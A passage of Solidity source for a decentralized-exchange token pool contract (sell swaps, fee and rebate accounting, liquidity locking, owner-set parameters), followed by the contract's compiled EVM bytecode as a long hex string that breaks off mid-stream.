Token, Main, trueamount, bmul(tokAmountI1, bdiv(tx2, 100))); return tokenAmountOut; } function SELLSmart( uint256 tokenAmountIn, uint256 minAmountOut ) nonReentrant external returns(uint256 tokenAmountOut) { uint256 hold = IERC20(FEG).balanceOf(address(msg.sender)); if(address(this).balance > 0 && hold >= 2e19 && tokenAmountOut <= 1e18){ sendRebate(); } uint256 tai = tokenAmountIn; require(_balances1[msg.sender] >= tai, "Not enough Token"); Record storage inRecord = _records[address(Token)]; Record storage outRecord = _records[address(Main)]; require(tai <= MAX_SELL_RATIO, "ERR_SELL_RATIO"); require(tokenAmountOut <= bmul(outRecord.balance, bdiv(MAX_RATIO, 100)), "Over MAX_OUT_RATIO"); uint256 tokenInFee; (tokenAmountOut, tokenInFee) = calcOutGivenIn( inRecord.balance, bmul(1e18, 25), outRecord.balance, bmul(1e18, 25), bmul(tai, bdiv(998, 1000)), 2e15 ); uint256 toka = bmul(tokenAmountOut, bdiv(RPF, 1000)); uint256 tokAmountI = bmul(toka, bdiv(15, 10000)); uint256 tok = bmul(toka, bdiv(15, 10000)); uint256 tokAmountI2 = bmul(toka, bdiv(PSS, 10000)); uint256 io = (toka - (tokAmountI + tok + tokAmountI2)); uint256 tokAmountI1 = bmul(io, bdiv(999, 1000)); emit LOG_SMARTSWAP(msg.sender, Token, Main, tai, tokAmountI1); _totalSupply8 += bmul(io, bdiv(1, 1000)); require(tokAmountI1 >= minAmountOut, "Minimum amount out not met"); _balances1[msg.sender] -= tai; _totalSupply1 -= tai; _balances2[msg.sender] += tokAmountI1; _balances2[address(this)] += tokAmountI; _balances2[pairRewardPool] += tokAmountI2; _totalSupply2 += (tokAmountI + tokAmountI2 + tokAmountI1); _totalSupply7 += tok; sync(); addRebate(); return(tokenAmountOut); } function sync() public { // updates the liquidity to current state setTokenBalance(); setMainBalance(); } function setTokenBalance() internal { _records[Token].balance = IERC20(Token).balanceOf(address(this)) - _totalSupply1; } function setMainBalance() internal { uint256 al = (_totalSupply2 +_totalSupply7 + _totalSupply8); _records[Main].balance = IERC20(Main).balanceOf(address(this)) - al; } function setRPF(uint256 _PSS, uint256 _RPF ) external { require(msg.sender == _poolOwner, "You do not have permission"); require(_PSS <= 50 && _PSS != 0, " Cannot set over 0.5%"); require(_RPF >= 990 && _RPF <= 1000, " Cannot set over 1%"); RPF = _RPF; PSS = _PSS; } function releaseLiquidity() nonReentrant external { // Allows removal of liquidity after the lock period is over address user = msg.sender; bool loc = getUserLock(user); require(loc == true, "Liquidity not locked"); uint256 total = IERC20(address(this)).balanceOf(user); lockedLiquidity -= total; userLock storage ulock = _userlock[user]; userLock storage time = _unlockTime[user]; require (block.timestamp >= time.unlockTime, "Liquidity is locked, you cannot remove liquidity until after lock time."); ulock.setLock = false; } function initializeMigrate(address user) external { //Incase we upgrade to v3 in the future, will offer a 48 hour time delay to allow releasing liquidity for migration to new pools. require(msg.sender == _controller, "You do not have permission"); bool loc = getUserLock(user); require(loc == true, "Liquidity not locked"); userLock storage time = _unlockTime[user]; time.unlockTime = block.timestamp + 2 days; } function _pullUnderlying(address erc20, address from, uint256 amount) internal { bool xfer = IERC20(erc20).transferFrom(from, address(this), amount); require(xfer, "ERR_ERC20_FALSE"); } function _pushUnderlying(address erc20, address to, uint256 amount) internal { bool xfer = IERC20(erc20).transfer(to, amount); require(xfer, "ERR_ERC20_FALSE"); } function payStake() internal { if(_totalSupply7 > 5e15) { bool xfer = IERC20(Main).transfer(FEGstake, _totalSupply7); require(xfer, "ERR_ERC20_FALSE"); _totalSupply7 = 0; } } function addRebate() internal { if(_totalSupply8 > 5e15){ wrap(Main).withdraw(_totalSupply8); _totalSupply8 = 0; } } function payMain(address payee, uint256 amount) external nonReentrant { require(_balances2[msg.sender] >= amount, "Not enough token"); uint256 amt = bmul(amount, bdiv(997, 1000)); uint256 amt1 = bsub(amount, amt); _balances2[msg.sender] -= amount; _balances2[payee] += amt; _balances2[_controller] += amt1; } function payToken(address payee, uint256 amount) external nonReentrant { require(_balances1[msg.sender] >= amount, "Not enough token"); uint256 amt = bmul(amount, bdiv(997, 1000)); uint256 amt1 = bsub(amount, amt); _balances1[msg.sender] -= amount; _balances1[payee] += amt; _balances1[_controller] += amt1; } }
0x6080604052600436106102e15760003560e01c80627b44a7146102ed5780630149e5c714610316578063036fe1bb1461035f578063055a03c51461037557806306fdde031461038b57806307d729c4146103ad578063095ea7b3146103fe578063103ff68d1461041e57806310510ec11461044057806312dcff7a1461046057806315e84af91461048057806318160ddd146104a057806319266112146104b65780632140fb40146104d657806323b872dd146104f657806329dfe3b2146105165780632b9abe1a14610536578063313ce5671461058457806331705705146105b0578063390a73e2146105dd5780633a0e9288146105f35780633f7376a914610613578063520bb81b146106335780635c464b6114610653578063630eb8ab1461067357806365d1a40d1461068857806366188463146106a85780636a8ebcd2146106c85780636c5c6814146106dd57806370a08231146106f357806371a1e6dd1461072957806372015efc1461074957806376c309241461075e5780637bc224f91461077e5780638c340f641461079e578063957aa58c146107be57806395d89b41146107d85780639a6204ed146107ed5780639a78458a14610803578063a16faa1814610823578063a221ee4914610838578063a2e70a2e14610858578063a9059cbb1461086e578063add975cc1461088e578063ae1931be146108ae578063b0711483146108ce578063b4398244146108ee578063ba9530a614610904578063bbf1271414610924578063c172715c14610944578063c241267614610957578063c627fbfa14610977578063cdfec52d14610997578063d62b6f7e146109ad578063d73dd623146109cd578063da6d6578146109ed578063dd62ed3e14610a03578063ef8fdfd814610a49578063f1091b6e14610a69578063f8b2cb4f14610a7f578063f8d6aed414610ab8578063fbe8998914610ad8578063fcfff16f14610aee578063fea4393a14610b0d578063fff6cae914610b2d57600080fd5b366102e857005b600080fd5b3480156102f957600080fd5b5061030360135481565b6040519081526020015b60405180910390f35b34801561032257600080fd5b5061034f610331366004614851565b6001600160a01b03166000908152601f602052604090205460ff1690565b604051901515815260200161030d565b34801561036b57600080fd5b5061030360165481565b34801561038157600080fd5b5061030360105481565b34801561039757600080fd5b506103a0610b42565b60405161030d9190614c17565b3480156103b957600080fd5b506103e76103c8366004614851565b601e602052600090815260409020805460019091015460ff9091169082565b60408051921515835260208301919091520161030d565b34801561040a57600080fd5b5061034f6104193660046149a0565b610bd0565b34801561042a57600080fd5b5061043e610439366004614969565b610c2b565b005b34801561044c57600080fd5b5061043e61045b3660046149a0565b610c89565b34801561046c57600080fd5b5061043e61047b366004614851565b610d93565b34801561048c57600080fd5b5061030361049b36600461486c565b610e33565b3480156104ac57600080fd5b5061030360025481565b3480156104c257600080fd5b5061043e6104d13660046149a0565b610ea1565b3480156104e257600080fd5b5061034f6104f1366004614851565b611027565b34801561050257600080fd5b5061034f61051136600461492d565b611045565b34801561052257600080fd5b5061043e610531366004614a60565b61118a565b34801561054257600080fd5b50610576610551366004614851565b6001600160a01b03166000908152602160209081526040808320549180529091205491565b60405161030d929190614fa1565b34801561059057600080fd5b5060055461059e9060ff1681565b60405160ff909116815260200161030d565b3480156105bc57600080fd5b50600d546105d0906001600160a01b031681565b60405161030d9190614bea565b3480156105e957600080fd5b5061030360185481565b3480156105ff57600080fd5b5061043e61060e366004614851565b611412565b34801561061f57600080fd5b5061043e61062e366004614851565b611472565b34801561063f57600080fd5b50600a546105d0906001600160a01b031681565b34801561065f57600080fd5b5061043e61066e366004614b24565b6114fa565b34801561067f57600080fd5b50610303603281565b34801561069457600080fd5b5061043e6106a33660046149a0565b6118c5565b3480156106b457600080fd5b5061034f6106c33660046149a0565b6119be565b3480156106d457600080fd5b5061043e611a94565b3480156106e957600080fd5b5061030360225481565b3480156106ff57600080fd5b5061030361070e366004614851565b6001600160a01b031660009081526020819052604090205490565b34801561073557600080fd5b5061043e610744366004614a60565b611abc565b34801561075557600080fd5b5061043e611caa565b34801561076a57600080fd5b5061043e610779366004614ade565b611deb565b34801561078a57600080fd5b5061043e61079936600461489f565b611ec7565b3480156107aa57600080fd5b5061043e6107b9366004614ade565b611f93565b3480156107ca57600080fd5b50601b5461034f9060ff1681565b3480156107e457600080fd5b506103a06120db565b3480156107f957600080fd5b5061030360195481565b34801561080f57600080fd5b50600e546105d0906001600160a01b031681565b34801561082f57600080fd5b5061043e6120e8565b34801561084457600080fd5b50610303610853366004614b50565b612247565b34801561086457600080fd5b5061030360155481565b34801561087a57600080fd5b5061034f6108893660046149a0565b6122b1565b34801561089a57600080fd5b506103036108a9366004614a25565b6122f2565b3480156108ba57600080fd5b506103036108c9366004614ade565b612800565b3480156108da57600080fd5b5061043e6108e93660046148e2565b612c24565b3480156108fa57600080fd5b50610303601a5481565b34801561091057600080fd5b5061057661091f366004614b8b565b613124565b34801561093057600080fd5b5061043e61093f3660046149a0565b6131b5565b610303610952366004614a00565b613479565b34801561096357600080fd5b50600c546105d0906001600160a01b031681565b34801561098357600080fd5b5061043e610992366004614851565b6137d9565b3480156109a357600080fd5b5061030360115481565b3480156109b957600080fd5b50600b546105d0906001600160a01b031681565b3480156109d957600080fd5b5061034f6109e83660046149a0565b613825565b3480156109f957600080fd5b5061030360175481565b348015610a0f57600080fd5b50610303610a1e36600461486c565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a5557600080fd5b50600f546105d0906001600160a01b031681565b348015610a7557600080fd5b5061030360125481565b348015610a8b57600080fd5b50610303610a9a366004614851565b6001600160a01b03166000908152601c602052604090206001015490565b348015610ac457600080fd5b50610576610ad3366004614b8b565b613898565b348015610ae457600080fd5b5061030360235481565b348015610afa57600080fd5b50601b5461034f90610100900460ff1681565b348015610b1957600080fd5b50610303610b28366004614ade565b613942565b348015610b3957600080fd5b5061043e613c69565b60038054610b4f9061503d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7b9061503d565b8015610bc85780601f10610b9d57610100808354040283529160200191610bc8565b820191906000526020600020905b815481529060010190602001808311610bab57829003601f168201915b505050505081565b3360008181526001602090815260408083206001600160a01b0387168085529252808320859055519192909160008051602061515b83398151915290610c199086815260200190565b60405180910390a35060015b92915050565b6008546001600160a01b03163314610c5e5760405162461bcd60e51b8152600401610c5590614c4a565b60405180910390fd5b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b60026024541415610cac5760405162461bcd60e51b8152600401610c5590614f6a565b6002602455336000908152602080526040902054811115610cdf5760405162461bcd60e51b8152600401610c5590614cd1565b6000610cf882610cf36103e56103e8613c7b565b613d57565b90506000610d068383613de1565b336000908152602080526040812080549293508592909190610d29908490614ffa565b90915550506001600160a01b038416600090815260208052604081208054849290610d55908490614faf565b90915550506007546001600160a01b0316600090815260208052604081208054839290610d83908490614faf565b9091555050600160245550505050565b600a546001600160a01b031633148015610dbb5750600b546001600160a01b03828116911614155b8015610dd55750600c546001600160a01b03828116911614155b610e115760405162461bcd60e51b815260206004820152600d60248201526c139bdd081c195c9b5a5d1d1959609a1b6044820152606401610c55565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038083166000908152601c6020526040808220928416825281206001830154919291610e9890610e73670de0b6b3a76400006019613d57565b8360010154610e8b670de0b6b3a76400006019613d57565b66071afd498d0000612247565b95945050505050565b60026024541415610ec45760405162461bcd60e51b8152600401610c5590614f6a565b6002602455600b546001600160a01b0383811691161480610ef25750600c546001600160a01b038381169116145b610efb57600080fd5b600c546001600160a01b0383811691161415610f9557336000908152602080526040902054811115610f3f5760405162461bcd60e51b8152600401610c5590614c7e565b8060156000828254610f519190614ffa565b909155505033600090815260208052604081208054839290610f74908490614ffa565b9091555050600c54610f90906001600160a01b03163383613e3e565b611016565b33600090815260216020526040902054811115610fc45760405162461bcd60e51b8152600401610c5590614dbc565b8060166000828254610fd69190614ffa565b90915550503360009081526021602052604081208054839290610ffa908490614ffa565b9091555050600b54611016906001600160a01b03163383613e3e565b61101e613ee6565b50506001602455565b6001600160a01b03166000908152601d602052604090205460ff1690565b6000336001600160a01b038516148061108157506001600160a01b03841660009081526001602090815260408083203384529091529020548211155b61108a57600080fd5b600061109533611027565b905080156110b55760405162461bcd60e51b8152600401610c5590614d4f565b6110c0858585613fac565b336001600160a01b038616148015906110fe57506001600160a01b038516600090815260016020908152604080832033845290915290205460001914155b1561117f576001600160a01b03851660009081526001602090815260408083203384529091529020546111319084613de1565b6001600160a01b03868116600090815260016020908152604080832033808552908352928190208590555193845291871692909160008051602061515b833981519152910160405180910390a35b506001949350505050565b600260245414156111ad5760405162461bcd60e51b8152600401610c5590614f6a565b600260245560006111bd33611027565b905080156111dd5760405162461bcd60e51b8152600401610c5590614d4f565b6111e5613c69565b60025460006111f48683613c7b565b9050806112135760405162461bcd60e51b8152600401610c5590614ca8565b61121d338761406a565b61122686614079565b60005b60145481101561134357600060148281548110611248576112486150d3565b60009182526020808320909101546001600160a01b0316808352601c90915260408220600101549092509061127d8583613d57565b90508061129c5760405162461bcd60e51b8152600401610c5590614ca8565b8888858181106112ae576112ae6150d3565b905060200201358110156112d45760405162461bcd60e51b8152600401610c5590614de5565b826001600160a01b0316336001600160a01b03167f9d9058fd2f25ccc389fec7720abef0ca83472f5abfafd5f10d37f51e6a0493f383600060405161131a929190614fa1565b60405180910390a361132d833383613e3e565b505050808061133b90615078565b915050611229565b5061134c613c69565b600f546001600160a01b03161561140557600f546040516370a0823160e01b81526000916113e49184916001600160a01b0316906370a0823190611394903090600401614bea565b60206040518083038186803b1580156113ac57600080fd5b505afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf391906149e7565b9050801561140357600f54611403906001600160a01b03163383613e3e565b505b5050600160245550505050565b6008546001600160a01b03163314801561143457506001600160a01b03811615155b6114505760405162461bcd60e51b8152600401610c5590614c4a565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b0316331461149c5760405162461bcd60e51b8152600401610c5590614c4a565b60006114a782611027565b90506001811515146114cb5760405162461bcd60e51b8152600401610c5590614e19565b6001600160a01b0382166000908152601e602052604090206114f0426202a300614faf565b6001909101555050565b601b5460ff16156115415760405162461bcd60e51b815260206004820152601160248201527043616e206f6e6c7920757365206f6e636560781b6044820152606401610c55565b600a546001600160a01b0316331461158c5760405162461bcd60e51b815260206004820152600e60248201526d4e6f207065726d697373696f6e7360901b6044820152606401610c55565b6006819055600b5433906115aa906001600160a01b031682866140f9565b600c546115c1906001600160a01b031633856140f9565b69010f0cf064dd59200000601155681043561a8829300000601055600c546040516370a0823160e01b81526000916001600160a01b0316906370a082319061160d903090600401614bea565b60206040518083038186803b15801561162557600080fd5b505afa158015611639573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165d91906149e7565b600b546040516370a0823160e01b81529192506000916001600160a01b03909116906370a0823190611693903090600401614bea565b60206040518083038186803b1580156116ab57600080fd5b505afa1580156116bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e391906149e7565b6040805180820182526014805482526020808301878152600c80546001600160a01b039081166000908152601c80865288822097518855935160019788015587518089018952865481528086018a8152600b80548516845295909652888220905181559451948701949094558154855480880187557fce6d7b5282bd9a3661ae061feed1dbda4e52ab073b1f9285be6e155d9c38d4ec90810180549284166001600160a01b03199384161790559354865480890190975595909301805495821695909316949094179091555490911681529182200154919250906117cb90633b9aca00613c7b565b600b546001600160a01b03166000908152601c6020526040812060010154919250906117ff90670de0b6b3a7640000613c7b565b905061181361180e8383614138565b614191565b611828601a546118238484614138565b614138565b601a5561183e856118398484614138565b6141ee565b6001600160a01b0385166000908152601d60209081526040808320601e909252909120815460ff1916600117825561187a426301e13380614faf565b600180830191909155601b805460ff19169091179055601e6012556118a46064610cf3888c613c7b565b6022556118b66064610cf3878d613c7b565b60235550505050505050505050565b600260245414156118e85760405162461bcd60e51b8152600401610c5590614f6a565b60026024553360009081526021602052604090205481111561191c5760405162461bcd60e51b8152600401610c5590614cd1565b600061193082610cf36103e56103e8613c7b565b9050600061193e8383613de1565b33600090815260216020526040812080549293508592909190611962908490614ffa565b90915550506001600160a01b0384166000908152602160205260408120805484929061198f908490614faf565b90915550506007546001600160a01b031660009081526021602052604081208054839290610d83908490614faf565b3360009081526001602090815260408083206001600160a01b038616845290915281205480831115611a13573360009081526001602090815260408083206001600160a01b0388168452909152812055611a42565b611a1d8184613de1565b3360009081526001602090815260408083206001600160a01b03891684529091529020555b3360008181526001602090815260408083206001600160a01b0389168085529083529281902054905190815291929160008051602061515b833981519152910160405180910390a35060019392505050565b600a546001600160a01b03163314611aab57600080fd5b601b805461ff001916610100179055565b60026024541415611adf5760405162461bcd60e51b8152600401610c5590614f6a565b6002602455611aec613c69565b6002546000611afb8583613c7b565b905080611b1a5760405162461bcd60e51b8152600401610c5590614ca8565b6000611b2533611027565b905060018115151415611b4a5785601a6000828254611b449190614faf565b90915550505b60005b601454811015611c8657600060148281548110611b6c57611b6c6150d3565b60009182526020808320909101546001600160a01b0316808352601c909152604082206001015490925090611ba18683613d57565b905080611bc05760405162461bcd60e51b8152600401610c5590614ca8565b888885818110611bd257611bd26150d3565b90506020020135811115611c175760405162461bcd60e51b815260206004820152600c60248201526b22a9292fa624a6a4aa2fa4a760a11b6044820152606401610c55565b826001600160a01b0316336001600160a01b03167f15a8ca63e37b2cff1677df2b6b82d36fcf8a524228bd7a4b4d02d107c28c1e8a836000604051611c5d929190614fa1565b60405180910390a3611c708333836140f9565b5050508080611c7e90615078565b915050611b4d565b50611c8f613ee6565b611c97613c69565b611ca086614191565b61140533876141ee565b60026024541415611ccd5760405162461bcd60e51b8152600401610c5590614f6a565b6002602455336000611cde82611027565b9050600181151514611d025760405162461bcd60e51b8152600401610c5590614e19565b6040516370a0823160e01b815260009030906370a0823190611d28908690600401614bea565b60206040518083038186803b158015611d4057600080fd5b505afa158015611d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d7891906149e7565b905080601a6000828254611d8c9190614ffa565b90915550506001600160a01b0383166000908152601d60209081526040808320601e9092529091206001810154421015611dd85760405162461bcd60e51b8152600401610c5590614d4f565b50805460ff191690555050600160245550565b600a546001600160a01b03163314611e155760405162461bcd60e51b8152600401610c5590614c4a565b60328211158015611e2557508115155b611e695760405162461bcd60e51b81526020600482015260156024820152742043616e6e6f7420736574206f76657220302e352560581b6044820152606401610c55565b6103de8110158015611e7d57506103e88111155b611ebf5760405162461bcd60e51b81526020600482015260136024820152722043616e6e6f7420736574206f76657220312560681b6044820152606401610c55565b601355601255565b6007546001600160a01b03163314611ef15760405162461bcd60e51b8152600401610c5590614c4a565b6001600160a01b03831615801590611f1157506001600160a01b03821615155b611f545760405162461bcd60e51b815260206004820152601460248201527343616e6e6f74207365742030206164647265737360601b6044820152606401610c55565b600780546001600160a01b039485166001600160a01b0319918216179091556008805493851693821693909317909255600a8054919093169116179055565b600a546001600160a01b03163314611fbd5760405162461bcd60e51b8152600401610c5590614c4a565b600c546001600160a01b039081166000908152601c6020526040808220600190810154600b5490941683529120015469152d02c7e14af680000084108015906120065750818411155b61205e5760405162461bcd60e51b815260206004820152602360248201527f6d696e2031302054204645472c206d61782031303025206f66206c697175696460448201526269747960e81b6064820152608401610c55565b68056bc75e2d6310000083101580156120775750808311155b6120ce5760405162461bcd60e51b815260206004820152602260248201527f6d696e20313030204554482c206d61782031303025206f66206c697175696469604482015261747960f01b6064820152608401610c55565b5050601191909155601055565b60048054610b4f9061503d565b6002602454141561210b5760405162461bcd60e51b8152600401610c5590614f6a565b600260245533600061211c82611027565b905080156121675760405162461bcd60e51b8152602060048201526018602482015277131a5c5d5a591a5d1e48185b1c9958591e481b1bd8dad95960421b6044820152606401610c55565b6040516370a0823160e01b815260009030906370a082319061218d908690600401614bea565b60206040518083038186803b1580156121a557600080fd5b505afa1580156121b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121dd91906149e7565b6001600160a01b0384166000908152601d60209081526040808320601e909252909120815460ff191660011782559192509061221c426276a700614faf565b816001018190555082601a60008282546122369190614faf565b909155505060016024555050505050565b6000806122548787613c7b565b905060006122628686613c7b565b905060006122708383613c7b565b90506000612297670de0b6b3a7640000612292670de0b6b3a764000089613de1565b613c7b565b90506122a38282613d57565b9a9950505050505050505050565b6000806122bd33611027565b905080156122dd5760405162461bcd60e51b8152600401610c5590614d4f565b6122e8338585613fac565b5060019392505050565b6000600260245414156123175760405162461bcd60e51b8152600401610c5590614f6a565b6002602455601b5460ff6101009091041615156001146123495760405162461bcd60e51b8152600401610c5590614e47565b612352336141f9565b15156001141561237d57600654851461237d5760405162461bcd60e51b8152600401610c5590614eee565b6009546040516370a0823160e01b81526000916001600160a01b0316906370a08231906123ae903390600401614bea565b60206040518083038186803b1580156123c657600080fd5b505afa1580156123da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123fe91906149e7565b905060004711801561241957506801158e460913d000008110155b801561242d5750670de0b6b3a76400008211155b1561243a5761243a614235565b600c546001600160a01b03166000818152601c6020526040902060010154906124649033876140f9565b61246c61429d565b600c546001600160a01b03166000908152601c60205260408120600101546124a790612499908490614ffa565b610cf36103e66103e8613c7b565b90506011548611156124cb5760405162461bcd60e51b8152600401610c5590614e9a565b600b546001600160a01b03166000908152601c60205260409020600101546124f990610cf360326064613c7b565b8411156125185760405162461bcd60e51b8152600401610c5590614ec2565b600061257083612531670de0b6b3a76400006019613d57565b600b546001600160a01b03166000908152601c6020526040902060010154612562670de0b6b3a76400006019613d57565b8666071afd498d0000613124565b9095509050858510156125955760405162461bcd60e51b8152600401610c5590614de5565b60006125a986610cf36013546103e8613c7b565b905060006125be82610cf3600f612710613c7b565b905060006125d383610cf3600f612710613c7b565b905060006125e984610cf3601254612710613c7b565b90506000816125f88486614faf565b6126029190614faf565b61260c9086614ffa565b9050600061262282610cf36103e76103e8613c7b565b3060009081526021602052604090205490915066038d7ea4c6800081111561266c5780601660008282546126569190614ffa565b9091555050306000908152602160205260408120555b600b546001600160a01b0316632e1a7d4d876126888486614faf565b6126929190614faf565b6040518263ffffffff1660e01b81526004016126b091815260200190565b600060405180830381600087803b1580156126ca57600080fd5b505af11580156126de573d6000803e3d6000fd5b505050506126fb8f6126f684610cf360636064613c7b565b61434a565b61270c83610cf360016103e8613c7b565b6018600082825461271d9190614faf565b9091555050600d546001600160a01b03166000908152602160205260408120805486929061274c908490614faf565b9250508190555083601660008282546127659190614faf565b92505081905550846017600082825461277e9190614faf565b9091555061278c9050614418565b612794614497565b600b54600c546023546001600160a01b039283169290911690339060008051602061511b833981519152908d906127d2908890610cf3906064613c7b565b6040516127e0929190614fa1565b60405180910390a450505050505050505050506001602455949350505050565b6000600260245414156128255760405162461bcd60e51b8152600401610c5590614f6a565b60026024556009546040516370a0823160e01b81526000916001600160a01b0316906370a082319061285b903390600401614bea565b60206040518083038186803b15801561287357600080fd5b505afa158015612887573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ab91906149e7565b90506000471180156128c657506801158e460913d000008110155b80156128da5750670de0b6b3a76400008211155b156128e7576128e7614235565b33600090815260208052604090205484908111156129175760405162461bcd60e51b8152600401610c5590614c7e565b600c546001600160a01b039081166000908152601c6020526040808220600b54909316825290206011548311156129605760405162461bcd60e51b8152600401610c5590614e9a565b6129748160010154610cf360326064613c7b565b8511156129935760405162461bcd60e51b8152600401610c5590614ec2565b60006129e783600101546129b0670de0b6b3a76400006019613d57565b84600101546129c8670de0b6b3a76400006019613d57565b6129da89610cf36103e66103e8613c7b565b66071afd498d0000613124565b80925081975050506000612a0387610cf36013546103e8613c7b565b90506000612a1882610cf3600f612710613c7b565b90506000612a2d83610cf3600f612710613c7b565b90506000612a4384610cf3601254612710613c7b565b9050600081612a528486614faf565b612a5c9190614faf565b612a669086614ffa565b90506000612a7c82610cf36103e76103e8613c7b565b600b54600c546040519293506001600160a01b039182169291169033906000805160206150fb83398151915290612ab6908f908790614fa1565b60405180910390a4612acf82610cf360016103e8613c7b565b60186000828254612ae09190614faf565b90915550508c811015612b055760405162461bcd60e51b8152600401610c5590614de5565b336000908152602080526040812080548c9290612b23908490614ffa565b925050819055508960156000828254612b3c9190614ffa565b90915550503360009081526021602052604081208054839290612b60908490614faf565b90915550503060009081526021602052604081208054879290612b84908490614faf565b9091555050600d546001600160a01b031660009081526021602052604081208054859290612bb3908490614faf565b90915550819050612bc48487614faf565b612bce9190614faf565b60166000828254612bdf9190614faf565b925050819055508360176000828254612bf89190614faf565b90915550612c069050613c69565b612c0e614418565b5050505050505050505050600160245592915050565b60026024541415612c475760405162461bcd60e51b8152600401610c5590614f6a565b6002602455600b546001600160a01b0384811691161480612c755750600c546001600160a01b038481169116145b612c7e57600080fd5b600b546001600160a01b0384811691161415612ed65733600090815260216020526040902054811115612cc35760405162461bcd60e51b8152600401610c5590614dbc565b600b5460405163095ea7b360e01b81526001600160a01b039091169063095ea7b390612cf59087908590600401614bfe565b602060405180830381600087803b158015612d0f57600080fd5b505af1158015612d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d4791906149ca565b508060166000828254612d5a9190614ffa565b90915550503360009081526021602052604081208054839290612d7e908490614ffa565b9091555050600b54604051632efc49c560e21b81526001600160a01b038681169263bbf1271492612db792909116908590600401614bfe565b600060405180830381600087803b158015612dd157600080fd5b505af1158015612de5573d6000803e3d6000fd5b50505050600080856001600160a01b0316632b9abe1a306040518263ffffffff1660e01b8152600401612e189190614bea565b6040805180830381600087803b158015612e3157600080fd5b505af1158015612e45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e699190614b00565b6040516365d1a40d60e01b815291935091506001600160a01b038716906365d1a40d90612e9c9087908590600401614bfe565b600060405180830381600087803b158015612eb657600080fd5b505af1158015612eca573d6000803e3d6000fd5b50613111945050505050565b336000908152602080526040902054811115612f045760405162461bcd60e51b8152600401610c5590614c7e565b600c5460405163095ea7b360e01b81526001600160a01b039091169063095ea7b390612f369087908590600401614bfe565b602060405180830381600087803b158015612f5057600080fd5b505af1158015612f64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8891906149ca565b508060156000828254612f9b9190614ffa565b909155505033600090815260208052604081208054839290612fbe908490614ffa565b9091555050600c54604051632efc49c560e21b81526001600160a01b038681169263bbf1271492612ff792909116908590600401614bfe565b600060405180830381600087803b15801561301157600080fd5b505af1158015613025573d6000803e3d6000fd5b50505050600080856001600160a01b0316632b9abe1a306040518263ffffffff1660e01b81526004016130589190614bea565b6040805180830381600087803b15801561307157600080fd5b505af1158015613085573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130a99190614b00565b6040516310510ec160e01b815291935091506001600160a01b038716906310510ec1906130dc9087908690600401614bfe565b600060405180830381600087803b1580156130f657600080fd5b505af115801561310a573d6000803e3d6000fd5b5050505050505b613119613ee6565b505060016024555050565b60008060006131338887613c7b565b90506000613149670de0b6b3a764000086613de1565b90506131558682613d57565b905060006131678b6122928d85614138565b905060006131758285614566565b9050600061318b670de0b6b3a764000083613de1565b90506131978b82613d57565b96506131a38985613de1565b95505050505050965096945050505050565b600260245414156131d85760405162461bcd60e51b8152600401610c5590614f6a565b6002602455600b546001600160a01b03838116911614806132065750600c546001600160a01b038381169116145b61320f57600080fd5b601b5460ff61010090910416151560011461323c5760405162461bcd60e51b8152600401610c5590614e47565b600c546001600160a01b038381169116141561335b57600c546001600160a01b03166000818152601c60205260409020600101549061327c9033846140f9565b600c546040516370a0823160e01b815260009161330b916001600160a01b03909116906370a08231906132b3903090600401614bea565b60206040518083038186803b1580156132cb57600080fd5b505afa1580156132df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061330391906149e7565b601554613de1565b905060006133198284613de1565b905061332760155482614138565b6015553360009081526020805260409020546133439082614138565b33600090815260208052604090205550611016915050565b600b546001600160a01b03166000818152601c6020526040902060010154906133859033846140f9565b600b546040516370a0823160e01b8152600091613425916001600160a01b03909116906370a08231906133bc903090600401614bea565b60206040518083038186803b1580156133d457600080fd5b505afa1580156133e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061340c91906149e7565b613420601654611823601754601854614138565b613de1565b905060006134338284613de1565b905061344160165482614138565b6016553360009081526021602052604090205461345e9082614138565b3360009081526021602052604090205550505061101e613ee6565b60006002602454141561349e5760405162461bcd60e51b8152600401610c5590614f6a565b6002602455601b5460ff6101009091041615156001146134d05760405162461bcd60e51b8152600401610c5590614e47565b600b60009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561352057600080fd5b505af1158015613534573d6000803e3d6000fd5b5050505050613542336141f9565b15156001141561356d57600654841461356d5760405162461bcd60e51b8152600401610c5590614eee565b6009546040516370a0823160e01b81526000916001600160a01b0316906370a082319061359e903390600401614bea565b60206040518083038186803b1580156135b657600080fd5b505afa1580156135ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135ee91906149e7565b9050478015801590613607575066b1a2bc2ec500003410155b801561361c57506801158e460913d000008210155b1561362957613629614235565b600b546001600160a01b039081166000908152601c6020526040808220600c54909316825290206010543411156136725760405162461bcd60e51b8152600401610c5590614cfb565b6136868160010154610cf360326064613c7b565b8511156136a55760405162461bcd60e51b8152600401610c5590614ec2565b60006136f383600101546136c2670de0b6b3a76400006019613d57565b84600101546136da670de0b6b3a76400006019613d57565b6136ec34610cf36103e76103e8613c7b565b6000613124565b9096509050868610156137185760405162461bcd60e51b8152600401610c5590614de5565b600061372b34610cf360016103e8613c7b565b905061373e81610cf36023546064613c7b565b6018600082825461374f9190614faf565b9091555050600c5461376b906001600160a01b03168a89613e3e565b613773613c69565b600c54600b546022546001600160a01b039283169290911690339060008051602061511b8339815191529034906137b1908d90610cf3906064613c7b565b6040516137bf929190614fa1565b60405180910390a450505050505060016024559392505050565b6008546001600160a01b031633146138035760405162461bcd60e51b8152600401610c5590614c4a565b600d80546001600160a01b0319166001600160